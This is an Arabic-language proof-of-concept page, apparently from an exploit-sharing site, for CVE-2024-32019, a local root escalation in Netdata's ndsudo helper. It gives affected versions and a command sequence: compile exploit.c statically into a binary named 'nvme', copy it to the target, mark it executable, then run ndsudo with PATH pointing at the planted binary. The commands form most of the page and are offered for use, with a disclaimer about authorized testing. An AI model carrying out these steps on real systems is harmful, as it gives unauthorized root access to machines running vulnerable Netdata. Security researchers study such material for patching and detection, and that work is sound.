⚠️ CVE-2024-32019 - إثبات المفهوم

📌 الإصدارات المتأثرة

• >= v1.45.0، < v1.45.3
• >= v1.44.0-60، < v1.45.0-169

🛠️ إثبات المفهوم

CVE-2024-32019 — ndsudo تصعيد الامتيازات المحلية عبر مسار بحث غير موثوق.

🔧 تجميع الاستغلال

x86_64-linux-gnu-gcc -o nvme exploit.c -static

📤 النشر على الجهاز المستهدف

1. انقل الملف الثنائي المترجم إلى الجهاز الضعيف.

2. اجعله قابلاً للتنفيذ:

   root@kitploit:~

   chmod +x nvme
   

3. استغل الملف الثنائي الضعيف عبر التلاعب بـ PATH (استخدم نفس المسار الذي رفعت فيه ملفك الثنائي):

   root@kitploit:~

   PATH=$(pwd):$PATH /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
   

🔍 مرجع

• نشرة الأمان من Netdata - GHSA-pmhq-4cxq-wj93

⚖️ إخلاء المسؤولية والشروط

تم توفير كود إثبات المفهوم (PoC) هذا لأغراض التعليم واختبار الاختراق المصرح به فقط.

• لا يُمنح أي إذن لتعديل هذا الكود أو إعادة توزيعه أو استخدامه لأي أغراض أخرى.
• الاستخدام أو التعديل غير المصرح به قد يكون غير قانوني وغير أخلاقي.
• المؤلفون لا يتحملون أي مسؤولية عن أي استخدام سيء أو أضرار.